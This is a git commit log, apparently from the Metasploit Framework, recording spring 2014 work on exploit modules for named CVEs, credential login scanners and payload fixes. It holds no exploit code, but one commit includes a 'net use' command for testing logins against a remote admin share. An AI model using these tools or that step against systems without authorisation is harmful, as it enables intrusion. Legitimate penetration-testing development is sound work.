James Lee 9ad5ae44be Add abstract attempt_login and cleanup some docs 2014-05-06 15:24:18 -05:00
Joshua Smith 4b351b4ae2 adds explicit TARGET setting 2014-05-06 14:17:31 -05:00
Joshua Smith e981d6e286 fixes alias_method call 2014-05-06 13:03:36 -05:00
David Maloney 6077135782 extract login neccisary methods
create new mssql mixin. extract only the methods
required for mssql_login to work and copy them
into this mixin.
2014-05-06 11:59:21 -05:00
Joshua Smith 2c07f51ac5 uses clone instead of dup 2014-05-06 11:45:19 -05:00
David Maloney 507fe566a4 Merge branch 'master' into staging/electro_release 2014-05-06 11:36:19 -05:00
Joshua Smith 8fe8ee92d9 first shot at letting scriptable.rb handle local exploits 2014-05-06 01:21:11 -05:00
Joshua Smith a270cc6e59 adds category to msf/core/module.rb 2014-05-06 00:46:49 -05:00
AnwarMohamed 57ce85013c Merge remote-tracking branch 'upstream/master' 2014-05-06 01:59:10 +02:00
Arnaud SOULLIE 1f3466a3a3 Added Modbus error handling.
It now checks for error and displays the appropriate error message.
The only error simulated was "ILLEGAL ADDRESS", don't know how
to test for others.
2014-05-05 23:21:54 +02:00
Tod Beardsley a8e7dc8ec5 Land #3338 for real (see 3542f85)
The other commit ended up having a changed hash. This is a nop for
mostly accounting purposes.
2014-05-05 16:07:42 -05:00
Christian Mehlmauer 7f9a460c20 Land #3338, yardoc fixes 2014-05-05 22:46:17 +02:00
Meatballs 3542f851bf Fix some yarddoc issues 2014-05-05 22:45:41 +02:00
Meatballs 57df34b54f Fix some yarddoc issues 2014-05-05 21:18:48 +01:00
Meatballs dc38212741 Fix function parsing 2014-05-05 20:53:36 +01:00
William Vu e8bc89af30 Land #3337, release fixes 2014-05-05 14:03:48 -05:00
Trevor Rosen 5fd4151004 Merge pull request #10 from rapid7/feature/login_scanners/mixin_refactor
LoginScanner refactor
2014-05-05 13:50:42 -05:00
Tod Beardsley c97c827140 Adjust desc and ranking on ms13-053
Since it's likely to crash winlogin.exe in the normal use case
(eventually), I've kicked this down to Average ranking.
2014-05-05 13:46:19 -05:00
Tod Beardsley 3536ec9a74 Description update 2014-05-05 13:43:44 -05:00
jvazquez-r7 b81f94a229 Land #3336, @todb-r7's CVEs addition 2014-05-05 13:43:04 -05:00
Tod Beardsley c6affcd6d3 Fix caps, description on F5 module
The product name isn't "Load Balancer" as far as I can tell.
2014-05-05 13:38:53 -05:00
William Vu 353a50cdd0 Land #3316, Content-Length fix for http_ntlmrelay 2014-05-05 13:38:36 -05:00
Tod Beardsley 3072c2f08a Update CVEs for RootedCon Yokogawa modules
Noticed they were nicely documented at

http://chemical-facility-security-news.blogspot.com/2014/03/ics-cert-publishes-yokogawa-advisory.html

We apparently never updated with CVE numbers.
2014-05-05 13:25:55 -05:00
Meatballs e946046de5 Add methods spec 2014-05-05 19:08:18 +01:00
Meatballs 0b886db406 Script specs and remove unknown method 2014-05-05 19:01:36 +01:00
Meatballs 0177e51148 Finish obfu specs and use rig 2014-05-05 18:47:25 +01:00
Meatballs 6ab85027a4 More spec 2014-05-05 17:47:30 +01:00
sinn3r 6bfc9a8aa0 Land #3333 - Adobe Flash Player Integer Underflow Remote Code Execution 2014-05-05 10:39:26 -05:00
Meatballs 162b6a8ab9 Add output spec 2014-05-05 14:48:18 +01:00
joev b67418e7f1 Merge #3335, @bcoles's fixes to FF JS payloads for single-line payloads. 2014-05-05 08:12:39 -05:00
Meatballs 589d235a80 Simple param spec 2014-05-05 13:46:52 +01:00
Meatballs 399928cf69 Remove unnecessary requires 2014-05-05 13:37:17 +01:00
Brendan Coles cc8ab9bcba Support one line js payload
Add missing ';' in `run_cmd_source`
2014-05-05 18:57:15 +10:00
William Vu a8915f0ed8 Land #3310, OpenSSH timing attack improvements 2014-05-04 19:47:51 -05:00
Tod Beardsley 8ae5dfea23 Land todb-r7#7, fix indents and grammar 2014-05-04 19:33:40 -05:00
William Vu 96a9bb6714 Land #3332, superfluous return cleanup 2014-05-04 19:07:34 -05:00
Christian Mehlmauer 073adc759d Land #3334, fix author by @julianvilas 2014-05-04 21:30:53 +02:00
Julian Vilas dd7705055b Fix author 2014-05-04 19:31:53 +02:00
OJ 7e37939bf2 Land #3090 - Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) 2014-05-04 16:41:17 +10:00
jvazquez-r7 5b150a04c6 Add testing information to description 2014-05-03 20:08:00 -05:00
jvazquez-r7 b4c7c5ed1f Add module for CVE-2014-0497 2014-05-03 20:04:46 -05:00
Joshua Smith 5b1a207377 cleans up numerous superfluous returns in msf/core/module 2014-05-02 19:52:58 -04:00
Tom Sellers a47b883083 Remove redundant simple.connect
Remove redundant simple.connect. Thanks @jlee-r7
2014-05-02 12:46:50 -05:00
sinn3r 304bc9b6a8 Land #3331 - fix typo 2014-05-02 11:40:32 -05:00
julianvilas 36f9f342c1 Fix typo 2014-05-02 16:26:08 +02:00
kyuz0 34d6875ad9 Merge pull request #4 from Meatballs1/pr3090
Include signed binary
2014-05-02 14:48:27 +01:00
Meatballs 06c8082187 Use signed binary 2014-05-02 14:45:14 +01:00
kyuz0 faaf0787a5 Merge pull request #3 from Meatballs1/pr3090
Pr3090
2014-05-02 14:20:00 +01:00
Meatballs 56c5eac823 Message correction 2014-05-02 14:18:18 +01:00
Meatballs 69915c0de5 Message correction 2014-05-02 14:17:27 +01:00
kyuz0 d9ad78e3c8 Merge pull request #2 from Meatballs1/pr3090
Address OJ's comments
2014-05-02 13:54:40 +01:00
Meatballs 850f6b0276 Address OJ's comments 2014-05-02 13:33:55 +01:00
Tom Sellers b2eeaef475 Add admin check to smb_login
The attached updates changes smb_login to detect if the newly discovered user is an administrator.  It is based on code from Brandon McCann "zeknox" submitted in PR #1373, the associated changes, and the newer PR #2656.
The changes should correct a few issues with PR #1373 and #2656 and address Redmine bug #8773.

Specifically it:

 - Fixes the admin detection code by using simple.disconnect(<share>) instead of disconnect()
 - Adds support for detecting if the remote host will allow connects using any domain name when one of the new status codes is returned
 - Dealt with the issue in PR #2656 where the username was prefixed with a '\'


Verification

Be connected to a database
Run this against a machine with a known user and admin user
See that the admin user is reported correctly
See that the non-admin user is reported correctly
Check the output of creds
Select a target that requires a domain in order to authenticate
In the stored credentials, with CHECK_ADMIN enabled, see that the domain name is, in fact, preserved in the reporting

To validate that the remote domain ignores domain value use the following command from a windows system:

net use \\<hostip>\admin$ /user:<random_value>\<username>   <password>
2014-05-02 06:16:21 -05:00
jvazquez-r7 150b89e290 Land #3314, @julianvilas's exploit for Struts CVE-2014-0094 2014-05-01 18:09:10 -05:00
jvazquez-r7 3dd3ceb3a9 Refactor code 2014-05-01 18:04:37 -05:00
jvazquez-r7 b7ecf829d3 Do first refactor 2014-05-01 16:39:53 -05:00
jvazquez-r7 195005dd83 Do minor style changes 2014-05-01 15:25:55 -05:00
jvazquez-r7 140c8587e7 Fix metadata 2014-05-01 15:24:16 -05:00
Christian Mehlmauer f7d8a5e3a3 rework the openssl_heartbleed module 2014-05-01 21:43:58 +02:00
Julian Vilas e0ee31b388 Modify print_error by fail_with 2014-05-01 20:19:31 +02:00
Julian Vilas 3374af83ab Fix typos 2014-05-01 19:44:07 +02:00
David Maloney 5e6f57f711 fix up some more specs
some spec cleanup and added basic specs
to the HTTP LoginScanner
2014-05-01 12:10:51 -05:00
jvazquez-r7 d3045814a2 Add print_status messages 2014-05-01 11:05:55 -05:00
jvazquez-r7 cc2e680724 Refactor 2014-05-01 11:04:29 -05:00
jvazquez-r7 28e9057113 Refactor make_payload 2014-05-01 10:23:33 -05:00
David Maloney 1a5abc49d1 Merge branch 'staging/electro_release' into feature/login_scanners/mixin_refactor
Conflicts:
	lib/metasploit/framework/login_scanner/ftp.rb
	lib/metasploit/framework/login_scanner/ssh.rb
	lib/metasploit/framework/login_scanner/ssh_key.rb
2014-05-01 10:19:00 -05:00
jvazquez-r7 bd124c85cb Use metadata format for actions 2014-05-01 09:52:55 -05:00
jvazquez-r7 1483f02f83 Land #3306, @xistence's alienvault's exploit 2014-05-01 09:25:07 -05:00
jvazquez-r7 1b39712b73 Redo response check 2014-05-01 09:10:16 -05:00
jvazquez-r7 78cefae607 Use WfsDelay 2014-05-01 09:07:26 -05:00
nstarke f0a8f40acd Omitting timestamp from msfconsole search output
SeeRM #8795

The disclosure date field in the results from the search command
where returning with a timestamp that was almost always 00:00:00 UTC. I added a bit of date time formatting to only
include the year (4 digit), month (2 digit), and day (2 digit)
in the following format: Y-m-d.  This date time formatting
applies to both searches conducted through the database instance
as well as searches performed without a database (slow search).
2014-05-01 13:41:15 +00:00
xistence 5db24b8351 Fixes/Stability AlienVault module 2014-05-01 14:53:55 +07:00
xistence c12d72b58c Changes to alienvault module 2014-05-01 10:39:11 +07:00
xistence 9bcf5eadb7 Changes to alienvault module 2014-05-01 10:10:15 +07:00
Julian Vilas bd39af3965 Fix target ARCH_JAVA and remove calls to sleep 2014-05-01 00:51:52 +02:00
David Maloney 0dd22395eb use credential objects inside results
altered results to just hold a credential
object instead of duplicating attributes
2014-04-30 17:17:57 -05:00
James Lee e33b88ccf0 Land #3322, fix persistence cleanup script 2014-04-30 16:41:05 -05:00
William Vu 8b138b2d37 Fix unquoted path in cleanup script 2014-04-30 16:34:33 -05:00
Lance Sanchez 3d94a1f77d Merge branch 'feature/http_login_scanner' into staging/electro_release 2014-04-30 16:30:46 -05:00
William Vu 9b32ed4004 Land #3321, PATH for windows/local/persistence 2014-04-30 16:30:34 -05:00
kaospunk 6b740b727b Changes PATH to proper case
This changes PATH to Path
2014-04-30 17:26:36 -04:00
David Maloney 4995fcdced Shared Examples for RexSocket mixin
shared example group for the Loginscanner RexSocket
mixin. Pretty simple stuff, just trying to keep it
DRY.
2014-04-30 15:47:52 -05:00
David Maloney 2483a37c04 Rexsocket mixin for LoginScanners
add a mixin for Rex Socket dependent behaviour
in certain Loginscanners to DRY up code more
2014-04-30 15:43:28 -05:00
kaospunk fdc81b198f Adds the ability to specify path
This update allows an explicit path to be set rather
than purely relying on the TEMP environment variable.
2014-04-30 16:08:48 -04:00
James Lee 6a41697955 Add require 2014-04-30 15:03:49 -05:00
David Maloney 1cd3f3f0da finished first shared example group
base behaviour is now defined in shared
example group and the specs all use that
shared example group
2014-04-30 14:40:37 -05:00
David Maloney a4cc311106 test base behaviour in shared examples
start moving specs to a shared example group
for all behaviour defined by the LoginScanner
Base
2014-04-30 14:35:29 -05:00
David Maloney f1e303d400 add connection error handling
if we get too many connection errors
or too many errors in a row, we bail on
the host
2014-04-30 14:06:18 -05:00
David Maloney a08421b30f apply reasonable defaults
give each lgoinscanner the ability to select
reasonable defaults for certain attributes
2014-04-30 13:56:29 -05:00
Michael Messner 111160147f MIPS exec payload fixes for encoder 2014-04-30 20:37:54 +02:00
James Lee ea8dc4db5d Handle connection errors
Also fix up some yardoc issues
2014-04-30 13:33:39 -05:00
James Lee b617be3dda Move doc to the right place 2014-04-30 13:30:42 -05:00
David Maloney ad264cb031 remove dead variable
dead variable left in a method from
a previous code iteration. removed
2014-04-30 13:30:09 -05:00
David Maloney 90882f803b use base mixin in scanners
refactor the LoginScanner classes to use the
new Base mixin. Still some more cleanup to be done
2014-04-30 13:29:14 -05:00
David Maloney 7978587428 add lgoinscanner base mixin
start moving common behaviour for
all LoginScanners into a mixin
2014-04-30 13:11:48 -05:00
William Vu 7777202045 Deconflict #3310 and correct the description 2014-04-30 12:02:57 -05:00
AnwarMohamed 3340b1af5e Merge remote-tracking branch 'upstream/master' 2014-04-30 18:34:38 +02:00
Lance Sanchez 7097cd7311 Merge branch 'feature/login_scanner/snmp' into staging/electro_release
MSP-9682 #land
2014-04-30 10:46:45 -05:00
David Maloney f61ede7fd2 fix merge wonkiness 2014-04-30 10:23:20 -05:00
David Maloney e5276d111d Merge branch 'staging/electro_release' into feature/login_scanner/snmp
Conflicts:
	lib/metasploit/framework/login_scanner/result.rb
2014-04-30 10:21:35 -05:00
jvazquez-r7 9cd6c5ef2b Land #3297, @Th4nat0s's F6 backends disclosure module 2014-04-30 09:31:37 -05:00
jvazquez-r7 4e80e1c239 Clean up pull request code 2014-04-30 09:31:07 -05:00
James Lee e8e5a7f72b Add initial stab at LoginScanner::HTTP 2014-04-30 00:55:45 -05:00
William Vu 4990469bf3 Land #3317, cleanup for Kiwi Meterpreter extension 2014-04-29 22:21:43 -05:00
Rob Fuller c3fb5bf614 fix a few clarical errors and typos 2014-04-29 22:42:26 -04:00
James Lee 4bd2dabfcd Land #3121, new kiwi extension, with compiled bins
See also rapid7/meterpreter#79
2014-04-29 17:53:37 -05:00
nstarke ace9e797e1 Adding count-based print message
This commit removes the creation of a separate, timed
thread for printing out status messages to the user
in the case of large PASS_FILEs.  This adjustment eliminates
the overheard of context switching associated with
spinning off separate threads, as well as the dangers
associated with the Thread#kill method.
2014-04-29 22:10:08 +00:00
JoseMi b0da032136 Modified the metadatas 2014-04-29 23:06:30 +01:00
JoseMi 55d8be8238 Add cve-2013-4074 module to crash dissector capwap 2014-04-29 22:55:14 +01:00
Lance Sanchez ddee401e27 Merge branch 'feature/MSP-9684/sshkey_loginscanner' into staging/electro_release
MSP-9684 #land
2014-04-29 15:21:56 -05:00
Lance Sanchez 53a212a790 Merge branch 'feature/login_scanner/ftp' into staging/electro_release
MSP-9669 #land
2014-04-29 15:04:26 -05:00
David Maloney e8ea6a86b5 add specs for snmp
add specs for the snmp loginscanner
and modify the specs to Result class
to account for the access_level attribute
2014-04-29 14:49:35 -05:00
David Maloney 5c24eab526 add snmp specific behaviour
add the snmp specific attempt_login behaviour
to gear this login scanner to the right protocol.
2014-04-29 14:08:30 -05:00
julianvilas 8e8fbfe583 Fix msf-staff comments 2014-04-29 17:36:04 +02:00
Tod Beardsley a5983b5f57 Light touchup on FP checker 2014-04-29 16:14:41 +01:00
David Maloney f1105ebe48 basic template copypasta
copy the ssh scanner as a template to
start the SNMP scanner from
2014-04-29 10:14:23 -05:00
David Maloney 00b9c99c89 fix class documentation copypasta 2014-04-29 10:13:11 -05:00
David Maloney 08b2974454 fix class documentation 2014-04-29 10:12:26 -05:00
Tod Beardsley 88efeea378 Add a false positive check 2014-04-29 16:07:42 +01:00
Arnaud SOULLIE e386855e0e Add ACTIONS descriptions 2014-04-29 16:55:05 +02:00
Tod Beardsley c9d3e94209 Merge from an upstream deconflict
This is probably a stupid way to do it; it'd be easier to rebase but
whatevs.
2014-04-29 15:35:16 +01:00
Tod Beardsley 94055fb981 Maybe deconflict #3310 for real?
Hmm i kinda suck at this.
2014-04-29 15:34:43 +01:00
Tod Beardsley 4d76128937 Merge upstream and deconflict #3310 whitespace 2014-04-29 15:32:32 +01:00
Arnaud SOULLIE 04f2632972 Implement jvazquez-r7 comments 2014-04-29 16:09:47 +02:00
julianvilas b2c2245aff Add comments 2014-04-29 11:24:17 +02:00
Julian Vilas a78aae08cf Add CVE-2014-0094 RCE for Struts 2 2014-04-29 03:58:04 +02:00
Julian Vilas 17a508af34 Add CVE-2014-0094 RCE for Struts 2 2014-04-29 03:50:45 +02:00
Rich Lundeen 60b9f855b4 Bug with HTTP POST requests (content type sent twice) 2014-04-28 18:44:02 -07:00
sinn3r 4c0a692678 Land #3312 - Update ms14-012 2014-04-28 18:48:20 -05:00
sinn3r b1ac0cbdc7 Land #3239 - Added target 6.1 to module 2014-04-28 18:28:14 -05:00
AnwarMohamed 57ea35a19a Merge remote-tracking branch 'upstream/master' 2014-04-29 00:40:22 +02:00
jvazquez-r7 2b4006089b Land #3298, @wvu-r7's fix for db_import and its spec 2014-04-28 17:29:52 -05:00
jvazquez-r7 4caf03b92f Land #3301, @nodeofgithub's patch for sercomm module 2014-04-28 17:19:47 -05:00
nstarke eb98ea2d31 Large pass_file hangs login modules
SeeRM #8704

When running a *_login module that contains a large PASS_FILE
the module appears to hang while it is creating the combinations over
such a large dataset.  The solution proposed in the Redmine task
requested that the user be alerted with some sort of progress feedback
if the process takes an excessive amount of time.

I have added a message that logs to the console that contains the
number of pairs left to be constructed before the module will continue.
The verbiage is fairly arbitrary and should probably be updated to
something that might be more descriptive.  Likewise, the sleep
interval may need to be adjusted.
2014-04-28 21:45:14 +00:00
Thanat0s 70314494ca test nil of port & host 2014-04-28 23:33:01 +02:00
Thanat0s fe3f7fd76a Obey to reviewer.. code fix 2014-04-28 23:26:29 +02:00
jvazquez-r7 1c88dea7d6 Exploitation also works with flash 13 2014-04-28 16:23:05 -05:00
sinn3r 8a4c7b22ed Land #3296 - Refactors firefox js usage into a mixin 2014-04-28 15:22:55 -05:00
sinn3r d530c9c128 Land #3304 - Adobe Flash Player Type Confusion Remote Code Execution 2014-04-28 15:06:50 -05:00
sinn3r fd0183c414 Land #3311 - Fixup release 2014-04-28 14:04:02 -05:00
Tod Beardsley 1b4fe90003 Fix msftidy warnings on wireshark exploits 2014-04-28 19:51:38 +01:00
Tod Beardsley 3bfdfb5cab Grammar 2014-04-28 19:49:56 +01:00
Tod Beardsley a5baea1a8e Touch up print_ statements 2014-04-28 19:49:23 +01:00
Tod Beardsley a6edd94c7f Just fix refs and desc for release 2014-04-28 19:47:15 +01:00
Tod Beardsley a7e110be9e Add a peer method, elaborate desc and prints 2014-04-28 19:41:44 +01:00
Tod Beardsley cb247dfe67 Land #3291, accept zip or jar for jar files 2014-04-28 19:12:18 +01:00
sinn3r 829b9ff4ff Land #3308 - Fix smb_login using error_reason 2014-04-28 12:33:24 -05:00
jvazquez-r7 9a1b216fdb Move module to new location 2014-04-28 11:55:26 -05:00
jvazquez-r7 51a5a901a8 Fix typo 2014-04-28 11:55:06 -05:00
jvazquez-r7 887dfc5f40 Fix RequiredCmd 2014-04-28 11:54:56 -05:00
jvazquez-r7 245b591247 Do module clean up 2014-04-28 11:45:40 -05:00
David Maloney cea12c9d0c remove metasploit-credential dep
remove from the Gemfile for now. we don't need it
just yet, and there are dependency resolution issues
2014-04-28 11:09:31 -05:00
Samuel Huckins 7fad215f3e Merge branch 'bug/9582-metasploit-imports-and-tasks' into upstream-master
Land #3299
2014-04-28 10:47:23 -05:00
Samuel Huckins 5841756bf1 Merge branch 'bug/9582-metasploit-imports-and-tasks'
Land #3299
2014-04-28 10:28:25 -05:00
William Vu 891118a3ef Land #3307, typo in oracle_demantra_file_retrieval 2014-04-28 10:12:15 -05:00
Arnaud SOULLIE a0add34a7d Removed warning message and changed default unit number to 1 2014-04-28 15:47:10 +02:00
Pedro Laguna ab913a533e Update oracle_demantra_file_retrieval.rb
Fixed typo
2014-04-28 14:36:48 +01:00
Arnaud SOULLIE a2ccbf9833 Add read/write capabilities to modbusclient 2014-04-28 15:29:55 +02:00
Zinterax fb39e422aa Fix smb_login calling nonexistent method
When a Rex::Proto::SMB::Exceptions::InvalidWordCount exception is thrown by this module, it attempts to call the nonexistent method error_reason and throws a NoMethodError:

Auxiliary failed: NoMethodError undefined method `error_reason' for #<Rex::Proto::SMB::Exceptions::InvalidWordCount:0x007f48fcda0e48>

This changes uses the built in method get_error to return an error code.

[-] x.x.x.x:445 SMB - [1/1] - \\Domain - FAILED LOGIN (xxxxxxxx) xxxx : xxxxx [STATUS_WAIT_0]
2014-04-28 09:28:29 -04:00
Meatballs b860cecad6 Function spec (doesnt pass) 2014-04-28 14:09:39 +01:00
Thanat0s 2396d497d8 move scanner to gather 2014-04-28 12:57:54 +02:00
Thanat0s 3bfa8ea707 Pass msftidy 2014-04-28 12:53:49 +02:00
Thanat0s f34cfefb8f Change hash to array 2014-04-28 12:52:46 +02:00
Thanat0s 6610977e86 add cookie.match and alway return 2014-04-28 12:39:32 +02:00
Thanat0s d5fe8471ed unless id 2014-04-28 12:16:49 +02:00
Thanat0s 328acc44fa Start cleaning as requested 2014-04-28 11:32:46 +02:00
xistence 2e04bc9e4e AlienVault OSSIM 4.3.1 unauthenticated SQLi RCE 2014-04-28 10:59:15 +07:00
jvazquez-r7 9ce5545034 Fix comments 2014-04-27 20:13:46 -05:00
nstarke 0bca3a2d54 POST module duplicate search results
Running a POST module in meterpreter was causing duplicate search
results for the executed module.  For example, running
post/windows/gather/checkvm would produce duplicate results for that
module when executing “search checkvm” in msf.

Debugging revealed that the cmd_exec function in meterpreter’s ui
command_dispatcher core was creating the specified module, and then
promptly reloading it.  The reload function was causing the duplicate
module_detail record to be written to the msg postgres database
instance.  Further analysis revealed that the “original_mod” could be
used for running the post module, so the “reloaded_mod” was removed
and the “original_mod” used in it’s place to run the post module.

SeeRM #8754
2014-04-27 20:31:32 +00:00
jvazquez-r7 60e7e9f515 Add module for CVE-2013-5331 2014-04-27 10:40:46 -05:00
nodeofgithub b80d366bb7 Add filter to output WPA-PSK password on Netgear DG834GT 2014-04-26 15:52:31 +02:00
David Maloney c02fb21c3b Finalized specs for sshkey
shkey loginscanner now compelte along
with specs
2014-04-25 15:20:33 -05:00
William Vu 9964548b41 Amend spec for db_import help 2014-04-25 14:28:29 -05:00
William Vu 696eee1ada Add Outpost24 to db_import help 2014-04-25 14:27:44 -05:00
David Maloney e2d6a57db1 fix spec filename
had an extra underscore
2014-04-25 14:27:10 -05:00
David Maloney 8430851a98 Add metasploit-credential to gemfile
add a temp reference to the metasploit-credential
gem to the gemfile. Need this for access to ssh key
factories for tests
2014-04-25 14:22:52 -05:00
David Maloney 0fcfb9d655 add proxies to ssh scanner
allow the SSH LoginScanner
to accept a proxy directive
2014-04-25 14:22:21 -05:00
David Maloney 35a039848c add sshkey loginscanner
added the loginscanner class for SSHKey and
the base specs
2014-04-25 14:21:08 -05:00
Meatballs 3ae8c3ff46 Basic specs 2014-04-25 18:14:39 +01:00
Meatballs 8031e50d35 Make Exploitation::Powershell testable
Example test
2014-04-26 13:27:25 +01:00
Meatballs 98d2b2293b Unnecessary return 2014-04-26 13:05:47 +01:00
Meatballs be10c8e4ac Split Rex::Exploitation::Powershell::* into individual files 2014-04-26 12:59:43 +01:00
Meatballs 318ae46085 Remove puts 2014-04-26 12:59:19 +01:00
David Maloney 19ba4cc859 Merge branch 'master' into staging/electro_release 2014-04-25 11:38:36 -05:00
lsanchez-r7 8f43c229b1 Passing the Mdm::Task down the chain
when reporting hosts from an Mdm::Task we need to pass the task all
the way down. this wasnt done for the metasploit import format.
2014-04-25 11:15:39 -05:00
Meatballs 3f5cc13bf8 Better eof test 2014-04-25 17:15:12 +01:00
David Maloney 2346d583ed touchups and specsfor FTP Scanner
add some final touchups and specs to the FTP
Loginscanner object. now fully working.
2014-04-25 11:02:15 -05:00
David Maloney 838a444b23 first pass of FTP LoginScanner
made the first pass at the ftp
LoginScanner, with base specs.
Need to still tierate, add more new
specs and clean it up
2014-04-25 10:14:48 -05:00
Meatballs d85e4b1313 Error if encode_inner and encode_final 2014-04-25 15:47:36 +01:00
Meatballs ae574bec2b Correct spec 2014-04-25 15:42:48 +01:00
Meatballs 5b9ec72395 Remove read_script spec 2014-04-25 15:40:52 +01:00
Meatballs 19dd21abaf Remove duplicate methods 2014-04-25 15:40:03 +01:00
Meatballs 206184007f Move methods and rename file so it is run by rspec 2014-04-25 15:16:15 +01:00
William Vu c2bb26590c Land #3250, version handling for Heartbleed server 2014-04-25 00:17:26 -05:00
Ramon de C Valle fd232b1acd Use the protocol version from the handshake
I used the protocol version from the record layer thinking I was using
the protocol version from the handshake. This commit fix this and uses
the protocol version from the handshake instead of from the record layer
as in https://gist.github.com/rcvalle/10335282, which is how it should
have been initially.

Thanks to @wvu-r7 for finding this out!
2014-04-25 01:48:17 -03:00
joev f94d1f6546 Refactors firefox js usage into a mixin. 2014-04-24 15:09:48 -05:00
Tod Beardsley fb3b6f577d Land #3279, upper bound check for AR 2014-04-24 15:09:07 -05:00
sinn3r 1353c62967 Land #3295 - Fix NoMethodError undefined method `body' for nil:NilClass 2014-04-24 13:53:58 -05:00
sinn3r ba4b507cc7 Land #3280 - Multiplatform WLAN Enumeration and Geolocation 2014-04-24 13:52:32 -05:00
sinn3r 5c0664fb3b Land #3292 - Mac OS X NFS Mount Privilege Escalation Exploit 2014-04-24 13:43:20 -05:00
David Maloney 1f9cf8c68f add the mixins for tcp and ftp
skimmed down, non-module dependent mixins
for TCP client and Ftp client. neccesary for
loginscanner work
2014-04-24 13:39:04 -05:00
sinn3r 656e60c35c Land #3254 - Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack BoF 2014-04-24 13:20:50 -05:00
sinn3r cde9080a6a Move module to fileformat 2014-04-24 13:17:08 -05:00
sinn3r a39855e20d Works for XP SP3 too 2014-04-24 13:16:24 -05:00
sinn3r ba8d7801f4 Remove default target because there is no auto-select 2014-04-24 13:15:49 -05:00
sinn3r 2e76db01d7 Try to stick to the 100 columns per line rule 2014-04-24 13:15:12 -05:00
Tom Sellers 8f47edb899 JBoss_Maindeployer: improve feedback against CVE-2010-0738
The exploit against CVE-2010-0738 won't work when using GET or POST.  In the existing code the request would fail and the function would return a nil.  This would be passed to detect_platform without being checked and cause the module to crash ungracefully with the error:

Exploit failed: NoMethodError undefined method `body' for nil:NilClass

The first changes detect a 401 authentication message and provide useful feedback.  Given that if, in any case, 'res' is not a valid or useful response the second change just terminates processing.

I've stayed with the module's coding style for consistency.
2014-04-24 12:37:14 -05:00
Christian Mehlmauer ef815ca992 Land #3288, Postgres support for Heartbleed scanner 2014-04-24 18:03:13 +02:00
David Maloney 087bcbdce1 Merge branch 'master' into staging/electro_release 2014-04-24 09:50:18 -05:00
David Maloney 83a9f37241 Merge branch 'feature/ssh_login_scanner' into staging/electro_release 2014-04-24 09:48:09 -05:00
David Maloney 3a66723741 nake scan! more generic
scan! can now be reused for each scanner and
only attempt_login is specific for each thing.
2014-04-24 09:43:39 -05:00
Trevor Rosen 5904aa45e6 Merge pull request #1 from rapid7/feature/ssh_login_scanner
SSH LoginScanner class
2014-04-24 09:39:28 -05:00
Trevor Rosen e556997bf7 Land #3269 (Pro) fix report import issue 2014-04-24 08:27:06 -05:00
Tom Sellers d4c0d015c1 Update wlan_geolocate.rb
Updated based on feedback.  Also added enumeration only support for BSD and Solaris.
2014-04-24 07:04:50 -05:00
Spencer McIntyre ec1f7d644c Support deprecation information from constants 2014-04-23 23:03:02 -04:00
Spencer McIntyre 9ccb9397e3 Land #3264, throttl and csv output support for module 2014-04-23 19:00:28 -04:00
Spencer McIntyre e2b92a824f Change white space for authors in dns_reverse_lookup 2014-04-23 18:56:27 -04:00
David Maloney ed8f87d3cf allow scan! to take a blcok
by allowing scan! to take block
and yield the result of each attempt
we can do things like have a module print out
status messages
2014-04-23 12:41:10 -05:00
JoseMi fd95d9ef38 Added english windows xp sp2 target 2014-04-23 17:32:56 +01:00
William Vu 15bd92dd50 Fix OpenSSH timing attack module 2014-04-23 10:10:37 -05:00
William Vu 0a108acea3 Fix missing comma
Commas will be the death of me.
2014-04-23 10:10:12 -05:00
William Vu 6d7fde4302 Land #3157, OpenSSH user enumeration timing attack 2014-04-23 10:01:10 -05:00
William Vu 1a2899d57b Fix up whitespace 'n' stuff 2014-04-23 10:00:34 -05:00
Thanat0s 457c48b89b Error on sleep 2014-04-23 11:38:23 +02:00
Joe Vennix 143aede19c Add osx nfs_mount module. 2014-04-23 02:32:42 -05:00
Meatballs 72a2849bf1 Better specs
90.6% line coverage in Exploit::Powershell
77.32% in Rex::Exploitation::Powershell and haven't even started
writing those specs...
2014-04-23 08:07:42 +01:00
Meatballs 0137fdb690 Prepend sleep should be an int 2014-04-23 07:29:51 +01:00
Meatballs 61b8fb7921 Remove puts 2014-04-23 06:15:28 +01:00
Meatballs 58c3bf0e59 Further speccage 2014-04-23 06:08:39 +01:00
Meatballs 32fa8748a8 Fix up decompress 2014-04-23 05:20:54 +01:00
Meatballs 11526b59a6 Boolean datastore options should always be present
Dont evaluate true/false as 'true'/'false'!
2014-04-23 05:03:16 +01:00
Jonathan Claudius d70aa4cdbb Fix MSFTidy complaints 2014-04-22 22:07:25 -04:00
Jonathan Claudius b3cabaaa28 Clean up some formatting concerns 2014-04-22 21:58:14 -04:00
Jonathan Claudius f71ad111da Change return values from nil to false 2014-04-22 21:48:16 -04:00
Jonathan Claudius 3d793fc6f1 Add default VPN group fall back 2014-04-22 21:45:04 -04:00
Meatballs c4cfa42e5b More specs 2014-04-23 02:37:19 +01:00
Meatballs 1347649a47 Remove unused EOFs 2014-04-23 02:37:07 +01:00
Jonathan Claudius 4d9ece2f9a Add hyphens and digits to group regex 2014-04-22 21:34:08 -04:00
Meatballs 01bfad3489 Correct datastore values 2014-04-23 02:08:57 +01:00
Meatballs e774411b63 Revert Enum removal
.NET 4.5 has two constructors with 2 args so this becomes ambiguous
2014-04-23 02:06:14 +01:00
Meatballs d2e8e07cfe Fix old powershell generation 2014-04-23 01:58:02 +01:00
Meatballs dd38a81dfc Fix a @parma 2014-04-23 01:10:13 +01:00
Meatballs 647936e291 Add more yarddoc to Rex::Exploitation::Powershell
encode_code doesn't use eof
no need to unicode encode in gzip as this is handled by encode_code
2014-04-23 01:07:54 +01:00
Meatballs 88fe619c48 Yarddoc exploit::powershell 2014-04-23 00:15:55 +01:00
AnwarMohamed fc5262c878 Merge remote-tracking branch 'upstream/master' 2014-04-22 22:56:42 +02:00
David Maloney d25f0d8f6c cash host resolution
if we successfuly resolve the host during
the validation, then alter host to the resolved
address to avoid the overhead of subsequent
DNS requests.
2014-04-22 15:34:16 -05:00
kenkeiras 96f042110f return is not needed when it's the last lifunction line 2014-04-22 22:33:47 +02:00
kenkeiras c9d8da991a Use Rex.sleep instead of select 2014-04-22 22:33:19 +02:00
kenkeiras d2a558dc85 Removed unused code 2014-04-22 22:33:02 +02:00
William Vu 39a7a049c4 Land #3283, msftidy vars_get check update
Now with more cyan.
2014-04-22 12:27:44 -05:00
Christian Mehlmauer 3f4e9ab18d msftidy: only check send_request_cgi for vars_get 2014-04-22 19:24:06 +02:00
